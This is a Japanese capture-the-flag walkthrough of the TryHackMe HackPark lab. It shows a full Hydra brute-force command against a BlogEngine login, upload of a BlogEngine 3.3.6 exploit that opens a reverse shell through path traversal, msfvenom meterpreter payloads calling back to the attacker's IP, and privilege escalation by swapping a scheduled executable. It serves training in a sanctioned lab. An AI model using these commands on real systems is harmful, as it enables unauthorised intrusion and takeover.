今回はTryHackMeのHackParkを攻略していきます。
このHackParkはWindowsマシンのハッキングでHydra、リバースシェル、Metasploit、WinPEASを使います。
Webアプリケーションの確認
ログイン画面が見つかりました。BlogEngineというCMSを使っているようです。
Hydra でのブルートフォース
hydraはコマンドを作るのが難しいです。
まず、基本的なフォーマットはこちらです。
hydra -l <username> -P <wordlist> <IPaddress> http-post-form <login request pattern>
パラメータは下記を使います。
usernaemはTryHackMeにあるとおり、adminを使います。
項目名 | 値 |
---|---|
username | admin |
wordlist | /usr/share/wordlists/rockyou.txt |
IPaddress | 環境に合わせて設定 |
ここまででコマンドはこうなります。
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.153.214 http-post-form <login request pattern>
あとはlogin request patternですが、hydraで一番難しいのがここです。
この部分のフォーマットはこちらです。
"<ログイン フォームへのパス>:<本文、マジック文字列 ^USER^ と ^PASS^>:<無効なログインに表示されるパターン>"
ログインフォームへのパスは /Account/login.aspx
です。
そして無効なログインのときのメッセージは Login failed
です。
最後のリクエスト本体ですが、これはBurpSuiteを使って取得します。
取得したら14行目がリクエストの本体になります。
__VIEWSTATE=bqueTnNHuZZ7CkJ2c3xibYKLQ4ovjRvFgOftWoJPdtZMmGuEPua0dxaOoJeRO9MW2lxTGXpN%2FjMGMnNn1U6t6Y0LdXNVpiRbsGYuCEqdlj2LlnC9UH7yijiIDnkDM4tre9goVYDp2QrZG4%2F2SU6IRvQIxBuzduimQ7kb5wChAq6oLntdelPH2e0xhpFmTRfELnLygG9QKBsMLjBL5AC%2FywKM4%2F2aV2XssxCbT5h%2FwVRIqrMMjvu1O7OXJaNW7B8jzD8SWzkEeKjH4u5DqxAE40Zgvk7sVNsEe9n1yyQh6aNczR%2FPlOKnaaTunkqo2FNf%2B6Vcct6CZbOCR56puSMmFdvLtMPolNBc3FVWSQ7JTewU3dIq&__EVENTVALIDATION=0pvSZWgh9G2ASIg3Qk5G6c4c%2Fl2seWLV99ObImDKroGHB1xDSw4c1M%2B292lzEoZYpI6c2kDn45L3CXX%2B24nNbpJdkNY6S3m5FZ82%2BZL7AsO7Uj9WU%2FdEmHtD5uhRzYApqSXMKkSFfHBWGe%2BbzOG%2BEO9ud8lOe%2F%2Bh%2FlUNBcfoYNeHUwll&ctl00%24MainContent%24LoginUser%24UserName=admin&ctl00%24MainContent%24LoginUser%24Password=TEST&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in
あとはこのリクエストのユーザ名とパスワード部分をそれぞれ ^USER^ と ^PASS^ に書き換えます。ユーザ名とパスワード部分を書き換えて一部抽出したのがこちらです。
UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^
ログインリクエストのパラメータ
項目名 | 値 |
---|---|
PATH | /Account/login.aspx |
BODY | __VIEWSTATE=bqueTnNHuZZ7CkJ2c3xibYKLQ4ovjRvFgOftWoJPdtZMmGuEPua0dxaOoJeRO9MW2lxTGXpN%2FjMGMnNn1U6t6Y0LdXNVpiRbsGYuCEqdlj2LlnC9UH7yijiIDnkDM4tre9goVYDp2QrZG4%2F2SU6IRvQIxBuzduimQ7kb5wChAq6oLntdelPH2e0xhpFmTRfELnLygG9QKBsMLjBL5AC%2FywKM4%2F2aV2XssxCbT5h%2FwVRIqrMMjvu1O7OXJaNW7B8jzD8SWzkEeKjH4u5DqxAE40Zgvk7sVNsEe9n1yyQh6aNczR%2FPlOKnaaTunkqo2FNf%2B6Vcct6CZbOCR56puSMmFdvLtMPolNBc3FVWSQ7JTewU3dIq&__EVENTVALIDATION=0pvSZWgh9G2ASIg3Qk5G6c4c%2Fl2seWLV99ObImDKroGHB1xDSw4c1M%2B292lzEoZYpI6c2kDn45L3CXX%2B24nNbpJdkNY6S3m5FZ82%2BZL7AsO7Uj9WU%2FdEmHtD5uhRzYApqSXMKkSFfHBWGe%2BbzOG%2BEO9ud8lOe%2F%2Bh%2FlUNBcfoYNeHUwll&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in |
PATTERN | Login failed |
そして最終的なコマンドがこちらです。
このコマンドで実行してみましょう。
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.153.214 http-post-form "/Account/login.aspx:__VIEWSTATE=bqueTnNHuZZ7CkJ2c3xibYKLQ4ovjRvFgOftWoJPdtZMmGuEPua0dxaOoJeRO9MW2lxTGXpN%2FjMGMnNn1U6t6Y0LdXNVpiRbsGYuCEqdlj2LlnC9UH7yijiIDnkDM4tre9goVYDp2QrZG4%2F2SU6IRvQIxBuzduimQ7kb5wChAq6oLntdelPH2e0xhpFmTRfELnLygG9QKBsMLjBL5AC%2FywKM4%2F2aV2XssxCbT5h%2FwVRIqrMMjvu1O7OXJaNW7B8jzD8SWzkEeKjH4u5DqxAE40Zgvk7sVNsEe9n1yyQh6aNczR%2FPlOKnaaTunkqo2FNf%2B6Vcct6CZbOCR56puSMmFdvLtMPolNBc3FVWSQ7JTewU3dIq&__EVENTVALIDATION=0pvSZWgh9G2ASIg3Qk5G6c4c%2Fl2seWLV99ObImDKroGHB1xDSw4c1M%2B292lzEoZYpI6c2kDn45L3CXX%2B24nNbpJdkNY6S3m5FZ82%2BZL7AsO7Uj9WU%2FdEmHtD5uhRzYApqSXMKkSFfHBWGe%2BbzOG%2BEO9ud8lOe%2F%2Bh%2FlUNBcfoYNeHUwll&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Login failed"
成功しました。ユーザ名とパスワードが分かりました。
管理画面の調査
さっそくユーザ名とパスワードを使ってログインしていきます。
ログインできましたね。
メニューからAboutを移動すると、BlogEngineのバージョンが書かれていました。
SearchSploit を使用して BlogEngine 3.3.6 の脆弱性を特定します。
※ Metasploit でも検索しましたが一致するものはありませんでした。
いくつか見つかりました。さっそく一番上のファイルをダウンロードして見てみます。
ファイルを見てみるとCVE番号や攻撃方法が書かれていました。
脆弱性を悪用するために必要な手順を確認します。
-
エクスプロイト内の
ローカル IP アドレス
とポート
を修正する -
エクスプロイトの名前を
PostView.ascx
に変更する - BlogEngine のファイル マネージャーを介してエクスプロイトをアップロードする
- ローカルホストでの Netcat リスナーのセットアップ
-
ブラウザから
/App_Data/files
にアクセスしてリバース シェルで接続する
$ mv 46353.cs PostView.ascx
$ vi PostView.ascx
ローカル IP アドレスとポートを修正する
ファイルマネージャから PostView.ascx
をアップロードします。
アップロード!
$ nc -lvnp 4445
ブラウザから実行
上手くいくとリバースシェルで侵入できます。
http://10.10.153.214/?theme=../../App_Data/files
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.4.27.91 LPORT=4446 -e x86/shikata_ga_nai -f exe -o reverse.exe
PythonでHTTPサーバを起動します。
tempディレクトリに移動して reverse.exe をダウンロードします。
モジュールを選択して、パラメータを設定します。
run を実行し、待ち受けポートを作成します。
ダウンロードした reverse.exe を実行します。
成功するとMetasploit 経由のリバースシェルで接続できます。
sysinfo コマンドを実行します。
侵入しているマシンでwinPEASを実行して権限昇格の糸口を探します。
そのため、ローカルホストのブラウザからwinPEASをダウンロードした後、winPEAS64.exe を侵入先のマシンにアップロードします。
winPEASx64.exe servicesinfo
C:\Program Files (x86)\SystemScheduler に移動します。
Eventsディレクトリに移動します。
ログファイルを見ると、30秒ごとに Message.exe がAdministorator 権限で実行されています。
ターミナルで別タブを開き、手元の端末でリバースシェルのコードが仕込まれているMessage.exe
を作成します。
$ msfvenom -p windoes/metapreter/reverse_tcp LHOST=10.4.27.91 LPORT=4447 -e x86/shikata_ga_nai -f exe -o Message.exe
侵入先の端末にあるMessage.exeのファイル名を変更します。
その後にさきほど作成したリバースシェルが含まれたMessage.exeをアップロードします。
$ mv Message.exe Message1.exe
$ upload /home/sec12ban/Documents/12ban/hackpark/Message.exe
現在のmeterpreterセッションをバックグラウンドに変更します。その後、待ち受けポートを作成します。
meterpreter > bg
> use exploit/multi/handler
> set LHOST tun0
> set LPORT 4447
Administoratorに昇格できました。30秒ごとにMessage.exeが実行されているため、30秒待つとリバースシェルで接続できます。その後に、getuidコマンドでユーザ名を確認するとAdministrator権限になっています。
後は user.txt
と root.txt
を探して中身を確認して終わりです。